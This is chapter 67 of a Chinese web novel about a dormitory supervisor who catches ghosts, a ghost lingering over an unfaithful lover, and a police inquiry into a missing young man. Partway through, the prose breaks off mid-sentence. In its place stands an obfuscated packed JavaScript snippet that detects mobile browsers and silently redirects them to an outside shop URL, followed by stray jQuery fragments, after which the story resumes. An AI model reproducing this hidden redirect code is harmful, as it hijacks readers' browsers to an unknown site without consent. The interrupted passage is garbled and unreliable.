67. 第 67 章

作品:《主业宿管,副业抓鬼

    中午吃多了,晚上不饿,拾冬在便利店随便买了个三明治,回来的时候看到叶子坐在寝室楼外的石凳上,她走过去跟着坐下,想拆三明治,又感觉现在吃不下,索性装回袋子说:“谢嘉阳想见你。”


    叶子虽然笑着,但味道是苦的,“是吗?”


    “想见吗?”


    叶子摇头,“要想见我很早之前就能去见了,他现在是爸爸了,身上沾上鬼气,对小孩不好。”


    “他有孩子了?”拾冬诧异,但又马上想起谢主任说他当爷爷的事。


    “对,他结婚了。”


    叶子在谢嘉阳公司聚餐的时候经常能看到那个女孩,个子不高,长得可爱,就是感觉人有些畏缩,不太爱讲话。


    “她啊,叫舒颖,是我大学的学妹。”谢嘉阳喝了酒,躺在床上迷迷糊糊说话,“反应有点慢,但比别人勤快,我也是看中这点,不然早把她调离我组了。”


    “她喜欢你。”


    相同的爱意是共通的,叶子早在看到舒颖的第一眼就察觉到了。


    谢嘉阳晕乎乎睁眼,眼前的人没过多表情,刚才那四个字和他问“早上吃什么”一样稀疏平常,但谢嘉阳知道。


    床垫发出一声闷响,来自四面八方的酒气,眼前出现天花板的灯,细碎头发扫在脸上的瘙痒感短暂出现又消失,紧接着酒气来源体躺回另一边,笑着说:“这下你知道我有多抢手了吧。”


    叶子一言不发起身离开卧室。


    拾冬没想到中午看上去深情款款的谢嘉阳,竟然已经结婚生子了,从怀孕到生产起码得11个月,将近一年,那不就是叶子还活着的时候他们就....


    拾冬能理解红绿头说他哥是渣男了。


    “那你为什么一直不投胎?”


    “犯贱吧。”


    想知道他好不好,又害怕看到他早已忘记自己开始新生活,不甘心又舍不得,反复拉扯到现在。


    “当断不断反受其乱。”


    叶子没想到拾冬会说这个,他心里涌起一股不被理解的愤怒,反问脱口而出:“难道有一天你和郁之分手了,你也能马上放下吗?”


    ?


    拾冬不知道这两件事是怎么联系到一起的,


    “我和他没在一起。”


    叶子讥讽一笑,“不是你们在心照不宣玩暧昧就是你装傻玩弄他。”


    拾冬站起身,冷脸俯视怒气未消的叶子:“我不明白为什么人总喜欢拿自己的情况和别人作比较,企图找认同感这种行为,在我看来,就是在后悔。


    你喜欢和严微她们聊天,因为她们心疼你,认同你,为你打抱不平,同仇敌忾将谢嘉阳列为渣男。你心里获得了很大安慰,你得靠这些安慰麻痹自己,不然你会觉得自己一无所有,没了生命也没和谢嘉阳在一起,他现在结婚生子有了新生...”


    叶子一言不发消失在眼前。


    拾冬转身回寝室。


    *


    谢建安没想到梁楹会再次上门,不过这次他没泡好茶了,招待梁楹坐下后,放下一杯水问有什么事。


    梁楹拿过面前的水喝了一口,说:“谢嘉阳之前报案,所以例行公事再问你们几个问题我们这边好结案。”


    谢嘉阳似乎不在家,梁楹看到抱着孩子的舒颖,友好点了点头。


    “嘉阳不在,有什么就问我吧。”谢建安以为梁楹左右打量是在找谢嘉阳,于是先开口解释。


    自从梁楹那次来过之后,谢嘉阳就再也没回来,发信息打电话不接不回,要不是知道他每天在正常上下班,他都要报警找人了。


    “哦,好。”


    在家的三个人梁楹都问了一遍,舒颖是最后一个,她抱着孩子坐下,梁楹冲她怀里眼神清澈天真的孩子一笑,说:“长得像妈妈呢~”


    舒颖拘谨干笑,“我婆婆说更像我老公小时候。”


    “是吗?不都说儿子像妈妈吗?”梁楹看着母子俩相似的眼睛,问,“你家几口人?”


    舒颖一愣,没想到梁楹会这么自然地发问,她轻拍着孩子回答:“我家就我和我妈,我爸在我初中时候过世了。”


    梁楹点头,接着问:“你没有其他兄弟姐妹吗?”


    舒颖摇头。


    梁楹“嗯”了一声,按照她查到的舒颖信息,她的户籍地在桐岭周边一个较为落后的乡镇,舒颖小学就没了爸,那个时候她妈应该年纪不大,想再找个人结婚应该也不难。


    “你妈妈是做什么工作的。”


    舒颖有些难为情,就像大学时面对寝室同学问“你家里是做什么的”时候一样,当时的自己能撒谎,但现在是警察,她不敢撒谎,


    “她没工作,在家做做农活,卖卖菜。”


    梁楹平淡点头,“你认识谢暄吗?”


    舒颖点头,“认识,我们公司聚餐的时候他经常会来。”


    “除了公司聚餐,你和他私下接触过吗?”


    舒颖摇头,“没有,我都没有他联系方式。”


    “你和谢嘉阳什么时候在一起的?”


    孩子有些不耐烦,开始哭闹要人抱着走,李翠萍想上前接手,但舒颖已经抢先一步起了身,一边哄一边回答:“记不太清了,去年七八月份左右。”


    “这么重要的日子都不记得啦,你们不过纪念日吗?很多人都会过纪念日。”


    舒颖背对着梁楹走着,但依旧能强烈感受到梁楹在背后看着自己,她吞了口唾沫,回答:“我们都不是那么有仪式感的人。”


    “这样啊...”梁楹不再追问,“对了,去年九月你见过谢暄吗?”


    “没有。”梁楹刚说完,怀里的孩子突然一声凄厉啼哭,她连忙左右晃着哄,“宝宝是不是饿啦~”


    李翠萍看了一眼客厅的钟,说:“半小时前不是刚喂过吗?”


    舒颖打开自己的房门,说:“这几天他吃得多,我再喂一点。”


    说完朝梁楹歉意点头。


    “没事,你去吧,我也问完了,该走了。”


    梁楹起身,谢建安和李翠萍出于礼节相送,到门口时,梁楹看到不远处放了不少蔬菜,有些菜叶都发黄了,笑着说:“这么多蔬菜不好保存吧。”


    “哦,这是舒颖她妈前几天拿过来的,说自家种的,没打过农药,吃的放心,不过我们年纪大了,吃不了那么多,分了不少给邻居还剩这么多,冰箱都放不下了,要不梁警官带点回去。”


    “不用了。”梁楹叫住想往厨房走的李翠萍笑着婉拒,“不拿群众一针一线。”


    “哦...也对..”


    梁楹穿好鞋打开门说:“今天麻烦你们了,我先走了。”


    说着正要出门,一旁没说话的谢建安问:“梁警官,谢暄是不是出什么事了?”


    “没有,别想太多,只是例行公事问问而已,打扰了。”


    直到听到门口的关门声,舒颖七上八下的心才稍稍回落,她看着躺在床上手脚乱蹬自娱自乐的孩子,拿过手机,抖着指尖打字,


    “今天警察又来了。”


    *


    “九月七号那天我九点四十三打的下班卡。”谢嘉阳翻了自己的打卡记录回答,听到梁楹问当时还有谁时,他费力想了想,如实说,“我不太记得了,不过我可以找人事帮忙调一下打卡记录。”


    梁楹说不用。


    谢嘉阳捏紧手机边框,问:“有什么线索了吗?”


    “这个不便透露,你记着,不管谁来问你什么,都不要多说。”


    “好,明白。”


    谢嘉阳挂了电话,仰躺在床上眼神空洞看着头顶的天花板,他没回盛辉小区,也没回和舒颖结婚的那套房子,他现在在他和谢暄一起合租的房子里。


    这套房子自从谢暄消失后,他就再也没来过,但也没退租。再回来,屋子里的陈设一如往常,像无数个他下班开门回家,看到的那样。


    你回来了。


    屋子这么对他说。


    盛满回忆的屋子,散发停滞的钝感,每一块地板,玻璃,瓷砖都藏有过去的影子,它们在谢嘉阳耳边朦朦胧胧,模模糊糊地说话,


    谢嘉阳,帮我拿下毛巾


    谢嘉阳,起床吃饭!


    谢嘉阳,你能出去别打扰我学习吗?


    谢嘉阳,谢嘉阳,谢嘉阳...


    好吵,真的太吵了...


    谢嘉阳蜷缩进被子,企图隔绝这些恼人的声音,可是,它们还是通过没掖实的被角钻进来,在黑暗中说,


    谢嘉阳,你回来了。


    他轻轻颤抖。


    梁楹给谢嘉阳打完电话后,接着看电脑。


    时间过去一年,当初附近监控数据会不会早就覆盖了。


    凶手选在春心公园,根据谢嘉阳的口供,他和谢暄经常在春心公园打球,所以接到那条信息的谢暄毫无防备就去了,可见凶手很了解他们的行动轨迹,以及那个人有机会触碰谢嘉阳的手机。


    谢嘉阳那天在公司加班到将近十点,能有拿谢嘉阳手机机会的只有....


    可她那么弱小,有可能让一个一米七八的成年男性神不知鬼不觉地消失吗?


    梁楹不停转动鼠标,这时一则消息引起了她的注意,


    ——都安区农贸节九月五号正式启动,地址:文明大道58号,春心公园东门往南一公里右拐。


    *


    “二英,这么早就起来了啊。”


    夏天亮得早,不靠山不靠水的村庄被太阳光一览无余地铺平,刚拔出的花生散发着土腥气,杨二英将土抖落一边说:“我拔点花生给小颖送过去,她喜欢吃盐水花生。”


    “你家小颖可嫁了个富二代,一辈子吃穿不愁了,还在乎你这点花生,城里想吃什么买不到。”


    杨二英不理会,弯腰接着拔,田埂边的花生已有小腿高,看来很早之前就在田里劳作了。


    日头逐渐变高变热的时候,杨二英终于把所有花生洗干净,洗干净的花生在竹片磨得发亮的簸箕里淅淅沥沥往外渗水。


    杨二英拿起簸箕,颗粒饱满的花生扬起又一粒不差落回簸箕,“刷刷”声连续响了好几分钟后,杨二英随手拿过一旁的编织袋,正想一股脑倒进去,余光瞥到“猪饲料”三个字,又放下,返回屋里拿了个白色塑料袋,小心翼翼倒进去。


    大号的塑料袋装了满满一袋,杨二英提起,拍了拍底部后把它放到一旁的椅子上,扶着腰捡起地上沾了灰的花生随手扔进另一旁的簸箕里,那是卖相不太好的,等会去农贸市场便宜点儿卖出去。


    这腰病怎么没完没了。


    杨二英眯着眼,晒红的脸上斑斑点点,草帽不隔热,太阳烤的头皮发烫,汗水渗出皮肤,如同流进眼里的盐水,杨二英抹了一把湿淋淋的脸,提着花生回到身后光线暗沉的老屋。


    “嘭”


    中午十二点,太阳最毒辣的时候,洗了个澡的杨二英,马不停蹄开着二手面包车驱车离开村子。


    自从那晚梁楹再来过,李翠萍总感到不对劲,她听着隔壁孩子的哭声又一次点开谢暄的头像,他们的对话停留在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127944|187222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去年的七月十二。


    “滚出我家,不要害我儿子跟你一起下地狱!”


    “就当我求你,你可怜可怜我...”


    “对不起妈,我知道该怎么做了。”


    那是谢暄发给自己最后一条信息。


    李翠萍盯着对话框,


    你现在在....


    “妈,你那边还有尿不湿吗,我这没了,麻烦帮我拿片尿不湿,瑞瑞要换尿片了。”舒颖在隔壁房间喊道。


    “哦...”李翠萍有被思绪打断的不悦,这一个多月,她反复被这个孩子吵得不得安生,当奶奶的喜悦早在一次次被打断的睡眠里所剩无几,更何况,他长得一点都不像嘉阳。


    她拿了片尿不湿过去,那是谢暄的房间,现在俨然成了育婴室,各种婴儿用品到处都是。


    “谢谢妈。”舒颖接过尿不湿,低头撕开小瑞的尿片,一边夹着嗓子跟手舞足蹈的孩子说话,“瑞瑞在干什么呀~是不是想出去玩,不行哦,现在太阳太大,等晚上妈妈再带你下去好不好呀~找昨天那只小狗,汪汪汪~”


    以往李翠萍都会在旁边帮忙接换下的尿片拿去扔,今天却没有,舒颖一抬头,发现李翠萍站在衣柜面前发呆,她有些忐忑,问:“妈,你怎么了?妈?”


    “哦,没事,随便看看..”李翠萍回过神,看着里面谢暄留下的校服,心情有些复杂,“我在想要不要把谢暄的衣服拿走,怕宝宝的衣服放不下。”


    舒颖换尿不湿的手一顿,舔了舔唇说:“不用,不碍事。”


    李翠萍回了个好,又看了几眼才把衣柜门关上,她看着舒颖换尿布,心里更加复杂,那天舒颖大哭过后,之后照旧带孩子,她很细心,将瑞瑞带的很好。


    而面对谢嘉阳的不回家,她没有多问。


    李翠萍能看出她不是不想问,而是不敢问。


    比起知道谢嘉阳喜欢男孩这件事,舒颖更担心谢嘉阳和她离婚。


    她那样的出身,要不是遇到谢嘉阳,她哪里住得起那套两百平的房子,更别说让她的孩子拥有城市户口和以后不愁吃不愁穿的优越生活。


    李翠萍不是自满,他们这样的家庭,是舒颖一辈子都够不上的。自己也不是什么恶毒婆婆,加上儿子这么个情况,只要舒颖能踏踏实实给谢嘉阳再生两个孩子,她能保证舒颖一辈子舒舒坦坦。


    “叮咚叮咚~”


    门铃声吵醒各怀心思的两人,李翠萍一开门,先是闻到一股汗味,才看清门口的杨二英。


    “亲家,你怎么...”


    又来了。


    杨二英人还没进门,先把一大包花生放在玄关,操着不太标准的普通话说:“我早上摘了点花生,新鲜的,给你们拿点过来。”


    李翠萍看着那一大包不知猴年马月才能吃完的花生,露出一丝不易察觉的嫌弃笑容,她拿出双一次性拖鞋,说:“这么热的天,辛苦你了,进来休息会儿吧。”


    杨二英看了眼那个印着某某宾馆的拖鞋,说:“我一会儿就走,要不给我找个鞋套吧。”


    “好。”李翠萍拿出鞋套。


    套好鞋套,杨二英自然往女儿房间走去,正巧看到舒颖抱着孩子出来,她伸手想抱,被舒颖躲过,她尴尬又小心翼翼摸了摸小孩圆润润的手臂,黝黑的皮肤和小孩的白皙肤色形成鲜明对比。


    “小瑞,今天有没有乖乖吃饭啊,不要像你妈妈小时候,怎么喂都不吃,还咬的我□□直流血。”


    “你说这个干什么!”舒颖闻到杨二英身上浓重的汗味就知道她一定又是为了省油没有开空调,她看着即使在家也身着得体的李翠萍,又对比了一下眼前皮肤黝黑,胸口汗渍明显的杨二英,嫌弃之色毫不遮掩。


    “这不聊天吗,反正孩子又听不懂。”杨二英嬉皮笑脸,恋恋不舍收回抚摸孩子的手。


    “亲家喝点水吧。”李翠萍递给杨二英一瓶水,一边打开客厅的空调,说,“这天儿这么热,以后有什么可以直接快递过来,还劳烦你跑一趟,这一路的油钱可比快递费贵不少。”


    “哦..是啊..也是...”


    杨二英拧开瓶盖咕嘟咕嘟一口喝了大半,在她喝水的这期间,屋里的人都没说话,没一个人要她坐下。


    冰水顺着喉咙流向身体各个部位,她拧好瓶盖,深深看了女儿一眼,舒颖别过眼,她又看了看孩子,冲他扬了扬下巴,孩子眼里只有对陌生人的友善,偶尔晃两下手。


    杨二英笑了。


    “不早了,李医生,我先走了,你们忙,打扰你休息了。”


    “这么快,要不留下吃晚饭吧,这也三点多了。”


    “不用,我是过来卖花生的,顺便来看看你们,卖完我还得回去。”杨二英把脱下的鞋套拢在手里没扔,她透过玄关的缝隙往客厅看,舒颖已经抱着孩子回屋了,她强打精神冲李翠萍笑笑,说,“李医生,我先走了,小颖这孩子嘴笨不会讲话,如果有做的不好的,你多担待,别骂她,她会躲起来哭很久。”


    李翠萍望着杨二英黢黑脸上的沟沟壑壑,明明年纪相仿,看上去却比自己大一轮,她读懂杨二英作为母亲的牵挂,脸上僵硬的表情缓和了一些,说:“放心吧,她做的挺好的,是个好儿媳。”


    “是吗?”杨二英又往玄关看了一眼,这个视角只能看到她坐在屋里背对着自己的背影,“那就好,那就好..”


    杨二英恋恋不舍关上门,拎起门口没来得及扔的垃圾,里面是发黄蔫了的蔬菜。


    她擦了擦流下额角的汗,坐电梯离开。